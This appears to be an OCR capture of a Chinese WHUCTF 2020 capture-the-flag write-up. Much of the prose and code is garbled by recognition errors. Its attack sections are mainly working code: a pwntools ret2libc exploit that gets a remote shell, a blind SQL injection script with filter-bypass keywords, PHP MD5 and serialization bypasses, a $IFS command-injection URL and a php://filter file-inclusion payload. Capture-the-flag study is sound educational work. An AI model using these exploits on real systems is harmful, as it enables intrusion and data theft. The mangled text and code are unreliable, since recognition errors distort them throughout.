743051707230746563743131317d7768756374667b5930755f6b6e30775f68307751743051707230746563743131317d7768756374667b59
30755f6b6e30775¥6830775f743051707230746563743131317d7768756374667b5930755F6b6e3077516830775174305170723074656374
3131317d7768756374667b5930755f6b6e3077516830775F7430517072307460 ")

b'whuctf{YOu_know_hew_ t0 protectlll}whuctf{YOu_know_hew_ t0 protectlll}whuctf{YOu_know_hew to0 protectlll}whuctf{Y
Ou_knew_how_te protectlll}whuctf{YOu_know_how t0 protectlll}whuctf{YOu_know_how to@ protectlll}whuctf{YOu_know_hoe
w_t0 _protectl1l}whuctf{YOu_know hew_to0 preotectlll}whuctf{YOu_ know hew to preot '

>>>

wechat
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E game.json
E package-lock.json

E project.config.json

] DME ARE T R EFEF T TR
HHIEITE, BRFADA main.js .
4B main.js

WE T D HARAET R

@ v HEES 1 AEE

® B maingjs js

[ )s) gameinfo.js js\runtime collisionDetection
* MINIGAME-1 let that = this

* B8 audio

» i@ images bullets.forEach((bullet) =>

v 0 s let i
» BB base
> B§ libs
» B8 npc

= B8, il = databus.enemys.length; i < il;i++ ) {

enemy = databus.enemys[i]

if lenemy.isPlaying && enemy.isCollideWith(bullet
@ player

B bulletjs
= indexjs that.music.playExplosion

enemy . playAnimation VE NGy

@ runtime
B backgroundjs bullet.visible
B gameinfojs databus.score += 1
B musicjs
(gl package-lock.json
B databus,js
B mainjs
* I8 node_modules
» B ot
B gamejs
{18 e for ( let i = @, il = databus.enemys.length; i < il;i++ ) {
(2 package-lock.json

{.} project.configjson

x ks
BsE  &iEsE EEER i BEiEE Es  BEs
EREES
FIFHRERE
X B mainjs js if ( lenemy.isPlaying && enemy.isCollideWith(bullet) } f{
B gameinfo,s js time enemy .playAnimation IO Gt
MINIGAME-1 that.music.playExplosion
» I® audio
» 0%/ images
v @ s
» Il base
> IR libs
» @ npc

bullet.visible = fal

databus.score 4=

v [@ player




B bulletjs
M indexjs
v [@ runtime
M background.js Console
B gameinfojs top
quality
whuctf{wechat_giml}
P databusjs quality
M mainjs whuctf{wechat_gdml}

» I® node_modules quality

AR HF

BEFBMT

BRFEBIngGe
40

HE NN AR BingGe AL TEZEBRMBRIZ B =0 EBE—AS#E

2, HRFs, hidEFE, RANLLESE: fiH: REEEE
RS B MEASRE N R AU = IR RS IS
REEHEThES LS REESRESS SRR A2
EESE SR P I EE DI e R s
FeEEReiE DRI RIEIAE S UM EE S E R IR INEE
HEBERFRENRNASHEE RN B EERNEEEH
E iR BB ERMR RN B S E T E E R A e R
B EHLTIABEFEESEES

Flag Submit

Z BIOE 2R R, AT AR T X hE AR RS E
http://www.keyfc.net/bbs/tools/tudoucode.aspx
B3| FFFE 767566536773bF1ef643676363676784e1d015847635575637560FF4F41d


http://www.keyfc.net/bbs/tools/tudoucode.aspx

ik ¥ ascii, {HEMK
SR SRR, R DA S5 R | DA R T

M E S (L4 AT

it: 60)

767566536773bf1ef643676363676784e1d0158476355756375601FF41414d

EENEIE IS Y TF
23456101215 20 30

F142: T76567b114666668ed1873553501F1656373e637337741054657676F44d
1 7997bed767811437367466371136364d072570417663166367e0865651fd
T66bTE66e17530T66TTETIT106TTT4TST14668d835511533e3374045664d
T67e63807754653T7641656T73b667e5360456T4361853F1671367d4571d
Tob46B13376313345574761606eB55T57e771476467T66d750163637066fd
T768756374667bbe305T3157616d5T6e30745T615736756464683173747d
Th6136T357716855e7466T6T06676T548313345466e5F7717476d513306d
TeB76T4576e6541363d7660557163650638F764F7374366TbT734F651175d
=1 T6T6T6763535665637565376663777785346be0f111dTe04f1765448134d

0x3re

whuer1.exe

line 1, in

given)

ii.unhexli )
't recent call 1

Non—he
ii.unhexli
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[Image: image.png]

36 exit(e);
37 }
38 *((_DWORD *)&v5 + v@++) = vl - 48;

39| }
48| while ( v0 < 7 );
s __OooROV |
47| {
A3LABEL_10:
44 sub_7610208("wrong, check your inputi\n");
45 exit(@);
46| }
47| v2 = e;
48| v3 = &v6;
49| do
50| {
51 if ( *(_DWORD *)v3 + *((_DWORD *)v3 - 1) + *{(_DWORD *)v3 - 2} != 15
52 ] *(8&8 + v2) + *(( _DWORD *)&6 + v2 + 1) + *((_DWORD *)&v5 + v2) I= 15 )
53 {
54 goto LABEL_18;
55 )
56 ++v2;
57 v3 = (__int64 *)((char *)v3 + 12);
58| }
59| while ( v2 < 3 );

00000565 sub_T61090:55 (761165)

[© Hex View-1

0OCFFESe D8 FE CF @@ 16 11 76 80 F@ 22 76 08 CC FE CF 00 fA-....v...v.}E-..
OOCFFE9D DO 22 76 @8 78 22 76 @@ 20 22 76 08 C8 21 76 080 ..v.x"v.-"v...v.
OOCFFEAD 76 21 76 @0 18 21 76 00 [ 00 00 ©6 ©2 00 00 080 plv.. lv.........
0OCFFEED ©3 00 90 00 04 00 00 00 ©5 90 00 08 06 00 00 00 .. ..............

POCFFECE @7 00 00 00 09 00 00 00 02 90 00 00 31 32 33 34 ............ 1234
OOCFFED® 35 36 37 0@ 3B 86 A1 AA 20 FF CF 08 89 13 76 00 567.;M@-....... V.
PBCFFEED @1 @0 0@ @0 E8 68 FB @@ 60 8D FB @@ C3 87 Al AA ....W-.. B-.f5-—

POCFFEFE 11 14 76 @@ 11 14 76 0@ ©O© 00 BO 90 00 00 @0 00 ..v...v.........
UNENOWN QOCFFEAS: Stack[00003F00]:00CFFEAR (Synchrenized with ESP, Stack view)

RFER, EZ—ANTF TS, HPEsAHTENS
B AT =R AW
HWrT T

d3 + d2 + d1 =15
d7 + d4 + d1 =15

dé + d5 + d4 =15
d8 + d5 + d2 =15

d9 + d8 + d7 =15
d9 + d6 + d3 =15

Hedi a8 1 ANFYW, IR RRAKI d8=9 do=2 . FTLARTLAREATHZE, RIBWT.

for dl1 in range(5,10):
d2=1
d3=14-d1
d4=11-d1
d5=5
dé=d1-1
d7=4
print(dl,d2,d3,d4,d5,d6,d7)

HEZHER, EEPERPEERY, URE A ER. R AHREag.

whuer2.exe



N[ @ 48] Buf2[9] = @
49| gmemcpy(But2, 8&unk_ AA41FS, 0x28u); // buf2 40 F T, ebd3cs
580 vl2 = 1030;
51 while ( v12 >= 1)
52| {
53 ++v9;
54 iF(vi2%2==1)
55 vi2 = 3 * v12 + 1;
56 else
57 vl2 >>»= 1;
58 if (v 3= 255 )
59 {
60 v3 = sub_AA1E40(std::cout, (int)"wrong flag!");
61 std::basic_ostream<char,std: :char_traits<char>>::operator<<(v3, sub_AA218@);
62 exit(e);
63 }
64 if ( Size - v12 » @x1C && v12 + Size < @x20 )
65 {
66 sub_AA1380(Size); // A dword_aAscaeeFi A I AL
67 vi4 = sub AA14BB();
68 for (1 =0; 1 < Size; ++1 )
69 {
70 vd = *((_BYTE %)&14 + i % 4);
71 *((_BYTE *)Bufl + i) = *(_BYTE *)sub_AA1850(&v13, i) ~ v4;// WL TFH Heiva
72
73 if ( !memcmp(Bufl, Buf2, Size) }
74 v5 = sub_AA1EAQ(std::cout, (int)"GJ, vou get the real flag!”);
75 else
76 v5 = sub_AA1E4@0(std::cout, (int)"plz try again"); I
77 std::basic_ostream<char,std::char_traits<char>>::operator<<(v5, sub_AA218@);
78 break;
79 }
sel 1
81| w15 = -1;
82| sub_AA18A@(&v13);
i 23| return @;
84}
EAREERE
sub_AA1380
SUB_AA1400
SUB_AA14B@

BRI 2 RBIE dowrd_Anca00 HATHIIAIL,, HIGHILR ZRME—MIERE a1

int sub_AA1380(int al)
{
int result; // eax
signed int i; // [esp+4h] [ebp-4h]

dword_AA63F8 = 0;

(dword_AA63FC) = 1;

dword_AA6400(0] = al;

for (i =1; i< 624; ++1i )

{
dword_AA6400[i]| = i + 1812433253 * (dword_AA6400[i - 1] ~ (dword_AA6400[i - 1] >> 30));
result = i + 1;

}

return result;

B RBXTAAGAOBAH A TARAL, FFRE—NEHLER



i

{

BEARBEHE AR, FFREAACOKA IR Bl —/ME

i

{

)
27 A Wiflag ARSI T
V1a = H;EUAA{[:-IBI;E),
for ( 1 1 € Size; ++1 )
{
A = *((_BYTE *)&14 +
}
if ( Imemcmp(Bufl, Buf2, Size) )

nt sub_AA1400()

int result; // eax
signed int v1; // STo4 4
signed int i; // [esp+8h] [ebp-4h]

for (i =0; i< 624; ++i )
{

= (dword_AA6400[ (i + 1) % 624] & Ox7FFFFFFF) + (dword_AA6400[i] & 0x80000000);

dword_AA64ee[1] dword_AA6400[ (i + 397) %

if (vi&1l)
dword_AA6408[i] "= ©x9908BODF;
result = i + 1;
¥

return result;

nt sub_AA14B@()

int v1; // eax
int v2; // STe4_4
signed int v3; // STe4_4

// if ( !(char)(dword_AA63FC) )
/7 A

// vl = sub_AA1360(0);

//  sub_AA1380(v1);

/1Y

if ( !dword_AA63F8 )
sub_AA1400();

5 6241 ~ (vl >> 1);

// WRAA63FC[0]==0, NJiiFHaal380%AA6400FVIMHIL

v2 = dword_AA6400[dword_AA63F8] ~ (dword_AA6400[dword AA63F8] >> 11);

v3

return v3 ~ (v3 >> 18);

v5 = sub_AA1E4®(std::cout, (int)"GJ,

alen

oM, ZARSE R suB_aa14Be R E IR BETEIRA flag AN F W RE, K PAERSE RIEELE bufl NEH,

i% buf2 ELEL, — B IER .
buf2 ZEEH, FTCAREHIK. FrbA A EHE sub_Aa14Be IR EE BN T FEAS 2] flag .

gt BT,

i %4);
*((_BYTE *)Bufl + i) = *(_BYTE *)sub_AA1850(&v13,

V2 A (V2 << 7) & Ox9D2C5680 ~ ((v2 ~ (v2 << 7) & ©x9D2C5680) << 15) & OXEFC60000;
dword_AA63F8 = (dword_AA63F8 + 1) % 624;

A vay /] REITDET RS

you get the real flag!");

fuot, BFR¥fagiKE size /4 Ance FAKIVIIRRE . FTUXT size #ATHRE, WF

Xfsizet BEARM, MIA

]

SUB_AA14Be BREIHIIR [EI{E R 5 Anesoe A A *, ZHAEVBETENERATETSEEEN. FILRE
MHIIEAE ERAT IR, AREHTREL ATatiflag.

-3



#tinclude<stdio.h>
#tinclude<stdlib.h>

int dword_AA63F8;
int dword_AA63FC;
int dword_AA6400(624];

int sub_AA1380(int al)

{

int result; // eax
signed int i; // [esp+4h] [ebp-4h]

dword_AA63F8 = 0;
(dword_AA63FC) = 1;
dword_AA6400[0] = al;

for (1 =1; 1< 624; ++i )
{

dword_AA64@@[i] = i + 1812433253 * (dword_AA6400[i - 1] ~ (dword_AA64@0[i - 1] >> 30));

result = i + 1;

}

return result;

int sub_AA1400()

{

int result; // eax
signed int v1; // STo4 4
signed int i; // [esp+8h] [ebp-4h]

for (i =0; i< 624; ++1i )
{

vl = (dword_AA6400[ (i + 1) % 624] & Ox7FFFFFFF) + (dword_AA6400[i] & 0x80000000);
dword_AA6400[i]| = dword_AA6400| (i + 397) % 624] ~ (vl >> 1);

if (vi&1l)
dword_AA6400[i]| "= ©x9908BODF;
result = i + 1;
¥

return result;

int sub_AA14B0o()

{

int v1; // eax
int v2; // STo4 4
signed int v3; // STo4 4

// if ( !(char)(dword_AA63FC) )
/7 A

// vl = sub AA1360(0);

//  sub_AA1380(v1);

/7 }

if ( !dword_AA63F8 )
sub_AA1400();

// HIRAA63FC[0]==0, Jif/Haal380 /AA6400E 4 #]451

v2 = dword_AA6400| dword_AA63F8]| " (dword_AA6400[dword_AA63F8] >> 11);
v3 = v2 A (V2 << 7) & @x9D2C5688 ~ ((v2 ~ (v2 << 7) & ©x9D2C5680) << 15) & OXEFC60000;

Aiiannd ARcOTFrO . /S AiiAand AACOFrO . AN O £Aaa.



UWUI'U_ARADDIro = (UWUI'U_ARDDro + 1) /o OZ4,

return v3 ~ (v3 >> 18);

int main() {

int size;
char v4;
int vi4;
int i;

char buf2[] = {@x43, OxEB, OxC5, ©x25, Ox5E, OxC2, OxDE, Ox1D, 0x7D, OXE8, OxD6, Ox1D, Ox66, OXE8, OXCA, 0x24,
0x50, OxF4,
oxC1l, ox1D, ox46, OxE8, OxCA, 0x26, 0x4C, OxF3, oxCD, ox2D, ox4B, OxFA, 0x43, 0x49,
Ox44, Ox66, Ox75, Ox32, Ox68, Ox90, OxA8, OxB3, OxAB, OxAB, OXAB, OXAB, OxXAB, OxAB, OxAB, OxAB
s
char bufl[100];

for (size = Oxlc; size < 0x20; size++) {
dword_AA63F8 = 0;
dword_AA63FC = 0;
memset (dword_AA6400, 0, sizeof(dword_AA6400));
memset(bufl, 0, sizeof(bufl));

sub_AA1380(size);
vl4 = sub_AA14BO();

for (i =0; i< size; ++i )

{
v4 = *((char*)&vl4 + i % 4);
//*((Char‘ *)Bufl + i) = *(_BYTE *)Sub_AA.'lSS@(&Vl_?, 1") A vd; /) B EH RS
bufil[i] = buf2[i] ~ v4;

¥

printf("test %d ==> %s\n", size, bufl);



:re## gcc  reZ-exp.c
re2-exp.c: In function ‘main’:
re2-exp.c:83:5: warning: implicit declaration of function ‘memset’
tion]

re2-exp.c:83:5: warning: incompatible implicit declaration of built
re2-exp.c:83:5: note: include ‘<string.h>' or provide a declaration
re2-exp.c:3:1:

+

re2-exp.c:83:5:
memset(dword AAG6400, 0, sizeof(dword AA6400));

ire# ./a.out
test 28 ==> 7=63%4/7
test 29 ==> 4!)
1" <

test 30 ==> flag{Ez Xor Confuse condition}
test 31 ==> [K
Fb2eH2~H

HT2*H  TSSZr

‘ re# I https://blog.csdn.net/weixin_

KIiflag, FRAZEPT,

ret2libc F# FIH system(“/bin/sh”)



SEIRE system {wAs bk

root@kali: ~ ftest/payload

:pwnpwn# objdump -T libc-2.23.s50 |grep system
00110840 g DF .text 00000044 GLIBC 2.0 svcerr_systemerr
00033940 g DF .text 00000037 GLIBC PRIVATE _ libc_system
0003a%940 w DF .text 00000037 GLIBC 2.0 system

: pwnpwni# [

https://blog.csdn.net/

[lmage: image.png]
bin/sh== 44 & Mk
[lmage: image.png]

root@kali: ~ ftest/payload

:pwnpwn# ROPgadget --binary libc-2.23.s0 --string "/bin/sh"
Strings information

0x0015902b : /bin/sh
: pwnpwn# [

https://blog.csdn.netfweixin_

libc_mainfw#

root@kali: ~/test/payload

:pwnpwn# objdump -T libc-2.23.s0 |grep _ libc start main
00018540 g DF .text 00000le6 GLIBC 2.0  1libc start main
: pwnpwn# [

libcEHhEFTH_ libc_start maintiiib-fki% 53]
FREU_libc_start mainthhik B4 T



from pwn import *

#context(os="Linux"', log_Level="debug")
r = process('./pwn")

r=remote('218.197.154.9"' ,'10004")
elf = ELF('./pwn")

write plt = elf.plt[ write']
libc_start_main_got = elf.got|[' libc_start main']
main = elf.symbols|[ ‘main’]

##fwrite(1, Libc_start_main_got,4) #Hi& 5 Zmain F
payload = 'a'*(0x88+4) + p32(write_plt) +p32(main) + p32(1)+p32(libc_start_main_got)+p32(4)
r.sendlineafter( 'Ready?\n',payload)

#SLERHEHE

libc_start_main_addr = u32(r.recv()[0:4])
print('libc: "+hex(libc_start_main_addr))
libc_base = libc_start_main_addr - ©x18540
sys_offset = 0x3a940

sh = 0x15902b

#system("sh")
payload = 'a' * (0x88+4) + p32(sys_offset+libc_base) + p32(0xdeadbeef) + p32(sh+libc_base)

#print(r.recv())
r.sendlineafter( 'Ready?\n',payload)
r.interactive()



1217 3K B flag

root@kali: ~/test/payload

:pwnpwn# python exp.py
[+] Starting local process './pwn': pid 6995
[+] Opening connection to 218.197.154.9 on port 10004: Done
[*] "/mnt/hgfs/gfworld/2020/whuctf/pwn/pwnpwn/pwn'
Arch: 1i386-32-little
RELRO: Partial RELROD
Stack:
NX:
PIE:
libc: Oxf7531540
[*] Switching to interactive mode
1s
bin
boot
dev
etc
flag
home
lib
1ib32
1lib64
media
mnt
opt
proc
pwn
root
run
shin
srv
sYs
tmp
usr
var
cat flag
WHUCTF{welcOme t0® pwn woRld}




EEEEHAR
MINF P 4 admin’# 65 sss , BRI, AT LUREIE#sqiEA], (HAKR B H AT/ T .
MNP 4 admin % sss, RREIR

Sign Up

o

Usemame

Password

R Y L
-'admin’' union *#' AND

e Y

EABRIE, RiE&RE success T4, SHIRNTE. AT DGR A EN R B BRITHIFRE
KAA/REE, FIH ascii(substr()) AERZBMBWHIEE. R4, FLULTFR

BUHA, FEEREZECHT T BLRENE, "RANEFAS, 0 selselectect o

import requests
url = 'http://218.197.154.9:10011/1ogin.php#’

pwd="ssss’

username=""

#database name
def dabasename():
database=""
for a in range(12):
# print(database)
for i in range(128,0,-1):
# print(chr(101))
username="admin' and "+"ascii(substr(database(),{},1))<".format(len(database)+1)+str(i)+"#"
# print(username)
data={'user':username, 'pass’ :pwd}

r= requests.post(url,data)
if 'success' not in r.text:
database+=chr(i)
print('database ==> ',database)
break
#print(r.text)
database="eazy sql’

def table name():



table_name_list=[]

for a in range(5):
table_name=""
for b in range(30):

len(table_name)
for i in range(128,0,-1):
# print(chr(101))
username="admin' and "+"ascii(substr((selselectect table_name frfromom infoorrmation_schema.tabl
es whwhereere table_schema='easy sqll' limit {},1),{},1))<".format(len(table_name_list),len(table_name)+1)+str(i
Y+ "

ori

#print(username)
data={"'user':username, 'pass’':pwd}

r= requests.post(url,data)
if 'success' not in r.text:
table_name+=chr(i)

print('table name ==> ', table_name)
#print(r.text)

break
# 1f Llen(table_name)==ori:
# break

table_name_list.append(table_name)
print(table_name_list)

def column_name():
col _name_list=[]
for a in range(5):
col _name='f111114g"
for b in range(39):

ori = len(col_name)
for i in range(128,0,-1):
# print(chr(101))
username="admin' and "+"ascii(substr((selselectect column_name frfromom infoorrmation_schema.col
umns whwhereere table_name='flag _yOu will n3ver_knew' limit {},1),{},1))<".format(len(col_name_list),len(col_nam
e)+l)+str(i)+"#"
#print(username)
data={"'user':username, 'pass’':pwd}

r= requests.post(url,data)
if 'success' not in r.text:
col _name+=chr(i)

print('col_name ==> ',col_name)
#print(r.text)
break
# if Llen(col_name)==ori:
# break
col_name_list.append(col_name)
print(col_name_list)

def flag():
col_name='f111114g"
flag=""
table_name='flag_yOu_will_n3ver_knew'
for b in range(30):



ori

len(flag
for i in range(128,0,-1
# print(chr(101))
username="admin' and "+"ascii(substr((selselectect {} frfromom {} limit @,1),{},1))<".format(col_nam
e,table_name,len(flag)+1)+str(i)+"#"
#print(username)

data={"'user':username, 'pass’:pwd

r= requests.post(url,data
if 'success' not in r.text

flag+=chr(i

print('flag ==> ',flag
#print(r.text)
break
# 1f Llen(col_name)==ori:
# break
print(flag

#dabasename ()
#table_name()
#column_name()
flag

D:\python\lib\site-packages\requests\ init .py:80: RequestsD
RequestsDependencyWarning)

flag WHUCTF{r31ly relly n@t diffIcul

flag WHUCTF{r31ly relly n@t diffIcult

flag WHUCTF{r31ly relly n@t diffIcult

flag WHUCTF{r31ly relly n@t dilffIcult y

flag WHUCTF{r31ly relly n@t dilffIcult ye

flag WHUCTF{r31ly relly n@t dlffIcult yet
flag WHUCTF{r31ly relly n@t dlffIcult yet?
flag WHUCTF{r31ly relly n@t dlffIcult yet??
flag WHUCTH{F311y relly n@t difflcult yet??
flag WHUCTF{r31ly relly net d1ffIcult yet??-}

https://blog.csdn.net/w

ezphp

L
LR



<?php
error_reporting(0);
highlight file(__ file_);

$string 1 = $_GET['strl'];

$string_ 2 = $_GET['str2'];

//1st

if($_GET['num'] !== '23333' && preg match('/~23333%$/', $ _GET['num'])){
echo '1st ok'."<br>";

}

else{
die(' &A% E 1TW23333");

}

//2nd

if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);

if($md5_1 !'= $md5_2){
$a = strtr($md5_1, 'pggnb', '12345');
$b = strtr($md5_2, 'pggnb', '12345');
if(%a == $b){

echo '2nd ok'."<br>";

}
else{
die("can u give me the right str???");
}
}
else{
die("noltltirrimy;
}
}
else{
die('is strl numeric??????');
}
//3nd

function filter($string){
return preg_replace('/x/"', 'yy', $string);

¥
$username = $_POST[ 'username'];
$password = "aaaaa";

$user = array($username, $password);
$r = filter(serialize($user));

if(unserialize($r)[1] == "123456"){
echo file_get_contents('flag.php');

ST, HEESRAEFMS, ST



1. preg_matchig £ a] BT #1758 http://218.197.154.9:10015/ ?num=23333%0a

2. phpdgRILLE:, ee+¥ix RAUFEH == Hﬁ’*%&ﬂdﬂ‘ﬁk& AR A5 mds_1 BB DA 0e FF3k, FHREHE FH&
b, mds 2 Plee Fk, BFHIAEHTF. XHEMLSE md5 1 1= mds_ 2, {HEdstriRECk b B s 5, $a==$b, STLK:
i

3. &M username=xxxXXXXXXXXXXXXXXXXX\";1:1;5:6:\"123456\";} , XFELiLfiltertd BB B P NyE, $r=a:2:

{1:0;5:40:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}
unserialize T}Ef/\ﬁéf‘—*)l ?IJ 123456 AL ’ /W/%%'ﬁ:

<?php

$str1-"11230178";
$str2-"QNKCDZO";

$md5 1 - md5($strl);
$md5 2 = md5($str2);

echo($md5 1);
echo("\n");
echo($md5 2);

echo("\n");
echo($md5 1!=$md5 2);
echo("\n");

$a = strtr($md5 1, 'pgegnb’, "12345");

$b - strtr($md5 2, "pggnb", '12345');

echo(%a); - -
echo("\n");
echo($b);
echo("\n");
echo($a==%b);

2>

Pe732639146814822596b49bb6939b97
Pe830400451993494058024219903391
1
Pe/32639146814822596549556939597
Pe830400451993494058024219903391
1LFinished in @.lsﬂ

i A

url = "http://218.197.154.9:10015/?num=23333%0a&str1=11230178&str2=QNKCDZ0"
data={"username" : " xx0000XXXXXXXXXXXX\ " ;1:1;5:6:\"123456\"; }"

r =requests.post(url,data

print(r.text

47 B AT 3K B flag
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BZALMRE] NEEE T FREH frlra*g FH, THHE cat Fwd

3 E’ | HackBar Elements Console Sources Network Performance Memory Ap

LOAD SPLIT EXECUTE TEST ~ sQLl - Xss - LFI

URL
http://218.197.154.9:10016?ip=127.0.0.1;IsS

a Enable POST ADD HEADER

geid 75 X

1. P $IFS Zeid 25 4% FR 1
2. Mg B R
3. [EHMAKIE, BIAIIRTS flag

IS

url="http://218.197.154.9:100162ip=127.0.0.1;1s$IFS-1;b=c;n=a;m=t;0=g;p=a;q=1;r=~F;s=1;$bsn$m$IFS$r$q$p$o.php’
r =requests.get(url)
print(r.text)

ezinclude
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First Name

‘ 123 ‘

Last Name

‘ 123 ‘

Country

‘ Australia v

Subject

123

RIIEREIurlN http://218.197.154.9:10017/thankyou. php?

firstname=sss&lastname=sfsdf&country=australia&subject=sdsdfsdf

ZRIER http://218.197.154.9:10017/thankyou.php?file=php://filter/read=convert.base64-encode/resource=flag.php
IR [B] A

e L] MdUKDdl cier
LOAD SPLIT

URL
http://218.197.154.9:

mmmmAd s e e ——— A

Solutions

Thank You Enable POST
lhank you for taking the time to contact us.
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Solutions About Us Contact

Thank You

Thank you for taking the time to contact us.
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pragma solidity "0.4.23;

/**
* The CoinFlip contract does nothing...
*/
contract CoinFlip {
uint256 lashHash;
uint256 Factor = 20244007718664171871063861089;
mapping (address => uint) balances;
string flag;

constructor (string _flag) public {
flag = _flag;

function getBalance () public returns(uint) {
return balances[tx.origin];

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number - 1));
lashHash = blockValue;
uint256 ans = blockValue / Factor;
bool side = ans == 1 ? true : false;

if (side == _guess) {
balances[tx.origin]++;
return true;

} else {
balances[tx.origin] = ©;
return false;

function GetTheFlag() public view returns (string){
return flag; // You can get your flag here

SHTEYRTY, B GetTheFlag BREL, AAEAE(T require 24F, EHIEIRI[E flag o

fEhttp://remix.ethereum.org/ FéRIE. #E . FEHLBF Ropsten WRML K


http://remix.ethereum.org/#optimize=false&evmVersion=null&version=soljson-v0.4.26+commit.4563c3fc.js

Yn B I J5 Bl GetTheFlag #ALEI W3R8 flag

(@) DEPLOY &RUNTRANSACTIONS & & @ QHome | 10l

12 - constructor (string _flag) public {
hd LbCiUZIzbblidAﬁ'(icza[}bﬂfbl-(_‘r'bﬂw J 13 flag = flag;
14 1
15
@ Transactions recorded o ~ & 16 ~ function getBalance () public returns{uint) {
17 return balances[tx.origin];
All transactions (deployed contracts and 18 ¥
\ function executions) in this environment can = . X .
) 20 - function flip(bool guess) public returns (bool) {
be saved and replayed in another & 21 uint256 blockValue = uint256(block.blockhash(bloc
‘) environment. e.g Transactions created in 22 lalushHash = blockValue;
2 Javascript VM can be replayed in the Injected e SLUEE Eis - IlEregllE | EDEIE
24 boeol side = ans == ? true : false;
Web3. 25
A 26 ~ if (side == guess) {
=] > 27 balances[tx.origin]++;
28 return true;
'\? Deployed Contracts [l 29 ~ T else {
30 balances[tx.origin] = @;
v COINFLIP AT 0X202..3C5F6 (BLOCKCHAIN) g; ) return false;
.‘ 33 3
34
35~ function GetTheFlag() public wiew returns (string){
“3'}3 -guess v 36 return flag; // You can get your flag here
' 37 1
38 3}
getBalance 39
49
41
0: string: WHUCTF{COnTract_1s_EaSy} ® 0 [ listenonnetwork Q= Search with transaci

o remiz (run remixz. help() for more infe)

+ Executing commen command to interact with the Remix interfac
script.
« Tse exports/. rezister (key, obid/. removeilkey) /. clear D to re:s

Low level interactions

CALLDATA

call to CoinFlip. GetTheFlag
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